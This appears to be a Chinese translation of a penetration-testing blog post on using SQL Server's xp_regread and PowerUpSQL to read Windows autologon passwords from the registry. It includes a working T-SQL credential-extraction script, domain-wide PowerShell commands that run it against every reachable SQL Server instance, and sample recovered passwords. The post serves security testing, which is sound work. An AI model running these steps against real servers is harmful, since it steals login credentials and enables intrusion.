在SQL Server中通过PowerUpSQL获得Windows自动登录密码
原文:
https://blog.netspi.com/get-windows-auto-login-passwords-via-sql-server-powerupsql/
在这篇博客中,我将展示如何使用PowerUpSQL通过SQL Serverd导出Windows自动登录密码。我也来谈谈xp_regread存储过程中的其他利用方式也可在渗透测试中使用。
xp_regread简史
从SQL Server2000后xp_regread扩展存储过程一直被使用,因为其原始版本允许以公共服务器角色的成员访问SQL Server服务帐户权限的几乎任何东西的。当时,它有一个非常大的影响,因为SQL Server以LocalSystem权限运行是常见的(译者注:很容易被提权)。自从SQL Server 2000 SP4发布之后,由于添加了一些访问控制,这有助于防止低权限的登录访问敏感的注册表位置,xp_regread的影响已经相当小,现在,未经授权的用户访问唯一的注册表位置都与SQLServer相关。对于您可以访问这些位置的列表https://support.microsoft.com/en-us/kb/887165
下面是更有趣的访问路径中的几个:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSSQLServer
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Search
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SQLServer
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Messaging Subsystem
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application\SQLServer
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SNMP\Parameters\ExtensionAgents
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SQLServer
HKEY_CURRENT_USER\Software\Microsoft\Mail HKEY_CURRENT_USER\ControlPanel\International
xp_regread公共角色的实际用途
即使是我们的双手被捆绑,xp_regread也可以用来获取不少有用的信息。事实上,作为最低权限登录时,我经常用它来抓取其它地方无法获取的服务器信息。例如,在PowerUpSQL中的Get-SQLServerInfo功能包括一些这些查询:
PS C:\>Get-SQLServerInfo
ComputerName : SQLServer1
Instance : SQLServer1
DomainName : demo.local
ServiceName : MSSQLSERVER
ServiceAccount : NT Service\MSSQLSERVER
AuthenticationMode : Windows and SQL Server Authentication
Clustered : No
SQLServerVersionNumber: 12.0.4213.0
SQLServerMajorVersion : 2014
SQLServerEdition : Developer Edition (64-bit)
SQLServerServicePack : SP1
OSArchitecture : X64
OsMachineType : WinNT
OSVersionName : Windows 8.1 Pro
OsVersionNumber : 6.3
Currentlogin : demo\user
IsSysadmin : Yes
ActiveSessions : 3
在SQL ServerSP4中实现的访问控制限制并不适用于系统管理员。其结果是,任何SQL Server服务账户可以在注册表访问,一个系统管理员可以通过xp_regread访问。乍一看,这似乎不是什么大不了的事,但它确实让我们从注册表中的敏感数据,而不必使用xp_cmdshell存储过程,启用和使用xp_cmdshel会触发大量的告警。所以xp_regread实际上最终被用于基本的SQL Server开发任务后。
使用xp_regread恢复Windows自动登录凭据
配置Windows在计算机启动时自动登录这是可以实现的,虽然这不是在企业环境中的常见配置,这是我们在零售环境中经常看到的东西。特别是那些支持传统的POS终端和信息亭使用SQL服务器本地运行。在大多数情况下,当Windows配置为自动登录,加密的凭据存储在注册表项:
HKEY_LOCAL_MACHINE SOFTWARE \Microsoft\WindowsNT\CURRENTVERSION \Winlogon
利用这些信息,我们可以编写使用一个基本的TSQL脚本,通过xp_regread获取注册表的自动登录凭据,而无需使xp_cmdshell启用。下面就是一个TSQL脚本例子,但由于注册表路径不在允许列表上,我们必须作为一个系统管理员运行查询:
-------------------------------------------------------------------------
-- Get Windows AutoLogin Credentials from the Registry
-------------------------------------------------------------------------
-- Get AutoLoginDefault Domain
DECLARE@AutoLoginDomain SYSNAME
EXECUTEmaster.dbo.xp_regread
@rootkey = N'HKEY_LOCAL_MACHINE',
@key =N'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon',
@value_name = N'DefaultDomainName',
@value = @AutoLoginDomainoutput
-- Get AutoLoginDefaultUsername
DECLARE@AutoLoginUser SYSNAME
EXECUTEmaster.dbo.xp_regread
@rootkey = N'HKEY_LOCAL_MACHINE',
@key =N'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon',
@value_name = N'DefaultUserName',
@value = @AutoLoginUser output
-- Get AutoLoginDefaultUsername
DECLARE@AutoLoginPassword SYSNAME
EXECUTEmaster.dbo.xp_regread
@rootkey = N'HKEY_LOCAL_MACHINE',
@key =N'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon',
@value_name = N'DefaultPassword',
@value = @AutoLoginPasswordoutput
-- Display Results
SELECT@AutoLoginDomain, @AutoLoginUser, @AutoLoginPassword
我已经创建了一个名为“Get-SQLRecoverPwAutoLogon”的PowerUpSQL函数,所以你可以直接运行它。它将获取默认的Windows自动登录信息和曾经设置过的Windows自动登录信息。然后,它返回相关的域名、用户名和密码。
下面是那些感兴趣的一个命令示例。如果您对渗透隐蔽的SQL Server目标有兴趣,你可以挖掘这个博客(https://blog.netspi.com/blindly-discover-sql-server-instances-powerupsql/):
PS C:\> $Accessible =Get-SQLInstanceDomain –Verbose | Get-SQLConnectionTestThreaded –Verbose-Threads 15| Where-Object {$_.Status –eq “Accessible”}
PS C:\> $Accessible |Get-SQLRecoverPwAutoLogon -Verbose
VERBOSE: SQLServer1.demo.local\Instance1 :Connection Success.
VERBOSE: SQLServer2.demo.local\Application: Connection Success.
VERBOSE: SQLServer2.demo.local\Application: This function requires sysadmin privileges. Done.
VERBOSE: SQLServer3.demo.local\2014 :Connection Success.
VERBOSE: SQLServer3.demo.local\2014 : Thisfunction requires sysadmin privileges. Done.
ComputerName : SQLServer1
Instance : SQLServer1\Instance1
Domain : demo.local
UserName : KioskAdmin
Password : test
ComputerName : SQLServer1
Instance : SQLServer1\Instance1
Domain : demo.local
UserName : kioskuser
Password : KioskUserPassword!
总结
即使xp_regread扩展存储过程已部分阉割,仍有许多方式,它可以被证明是有用的渗透测试和红队交战中。希望你能用“sqlserverinfo”、“sqlrecoverpwautologon”函数构建它的能力,更多注册表的乐趣将陆续提供,在此期间,祝你好运,并负责任!
参考文章:
https://support.microsoft.com/en-us/kb/887165
https://msdn.microsoft.com/en-us/library/aa940179(v=winembedded.5).aspx
http://sqlmag.com/t-sql/using-t-sql-manipulate-registry
本文转自 simeon2005 51CTO博客,原文链接:http://blog.51cto.com/simeon/1881099
在SQL Server中通过PowerUpSQL获得Windows自动登录密码相关推荐
- sql游标 while_用SQL Server中的排名函数替换SQL While循环和游标,以提高查询性能
sql游标 while SQL While loop and cursor are the most common approach to repeat a statement on conditio ...
- SQL Server中授予用户查看对象定义的权限
在SQL Server中,有时候需要给一些登录名(用户)授予查看所有或部分对象(存储过程.函数.视图.表)的定义权限存.如果是部分存储过程.函数.视图授予查看定义的权限,那么就像下面脚本所示,比较 ...
- aws rds监控慢sql_AWS RDS SQL Server中的初始Windows身份验证配置
aws rds监控慢sql In this article, we will be exploring the process of enabling Windows authentication i ...
- aws rds监控慢sql_AWS RDS SQL Server中的高级Windows身份验证配置
aws rds监控慢sql This article will cover advanced configurations for Windows Authentication in AWS RDS ...
- 替换SQL Server中Windows身份验证登陆名buildin\Administrator
以Administrator账户登陆服务器的人员,均可以以buildin\Administrator登陆数据库,并且拥有sysadmin最大权限.而能够使用Administrator登陆服务器可能包括 ...
- 十步优化SQL Server中的数据访问
故事开篇:你和你的团队经过不懈努力,终于使网站成功上线,刚开始时,注册用户较少,网站性能表现不错,但随着注册用户的增多,访问速度开始变慢,一些用户开始发来邮件表示抗议,事情变得越来越糟,为了留住用户, ...
- mysql物理读和逻辑读,SQL Server中STATISTICS IO物理读和逻辑读的误区
SQL Server中STATISTICS IO物理读和逻辑读的误区 人人知道,SQL Server中可以行使下面下令查看某个语句读写IO的情形 SET STATISTICS IO ON 那么这个下令 ...
- SqlServer还原数据库时提示:异常终止,不能在此版本的SQL Server中启动,因为它包含分区函数
场景 在SqlServer Management中进行数据库还原时提示: 数据库不能在此版本的SQL Server中启动,因为它包含分区函数. 点击左下角的查看详细信息 实现 电脑上安装的是SQL S ...
- SQL Server中的Image数据类型的操作
原文:SQL Server中的Image数据类型的操作 准备工作,在库Im_Test中建立一张表Im_Info,此表中有两个字段,分别为Pr_Id (INT),Pr_Info (IMAGE),用来存储 ...
最新文章
- 今晚有直播 | 全国大学生智能汽车竞赛人工智能创意赛来啦!
- 阿里云MWC 2019发布7款重磅产品,助力全球企业迈向智能化
- 外设驱动库开发笔记23:AT24Cxx外部存储器驱动
- java 8 两个list_java集合框架综述
- uva 11396Claw Decomposotion(二分图判定)
- 虚拟机系统和windows主机系统的文件互传方法 ——WinSCP使用
- springMVC文件的上传和页面静态化技术
- 第50篇-企查查请求头参数分析【2022-09-29】
- php处理excel图表,php导入excel的图片
- 颠覆大数据分析之Storm的设计模式
- 制备a-CN_x、CrN、TiCN、TiAlN碳氮化物薄膜-供应锡硫化物薄膜 硫化亚锡(SnS)薄膜 电沉积硫化亚锡(SnS)薄膜 硫化亚锡(SnS)异质结薄膜 简易硫化亚锡(SnS)微米棒薄膜
- 2021-09-18 Android repo 镜像服务器搭建
- Mysql数据库主主从设置
- 逻辑回归实现数字手写识别
- y_pred和y_prob结果不匹配
- 小程序获取sessionkey_微信小程序 获取session_key和openid的实例
- 【材料】 塑料件 ABS 和 PC 的区别
- 描述 Outlook 2003 使用缓存 Exchange 模式
- OpenLayers实现小车的轨迹查询的功能
- 基于java厨房管理系统_java食堂管理系统
热门文章
- Python开发入门与实战14-基于Extjs的界面
- unityios开发--Scorll View控件 .
- 用JS创建一个XML文件
- C++_类和对象_封装_访问权限_C++中struct和class的区别---C++语言工作笔记037
- STM32工作笔记0048---Systick滴答定时器---延时函数讲解
- 走进COM组件系列(一)
- bzoj 1008: [HNOI2008]越狱
- 杭电1422 重温世界杯
- 判断一个图是否有环(有向图,无向图)
- 随想录(lcc编译器)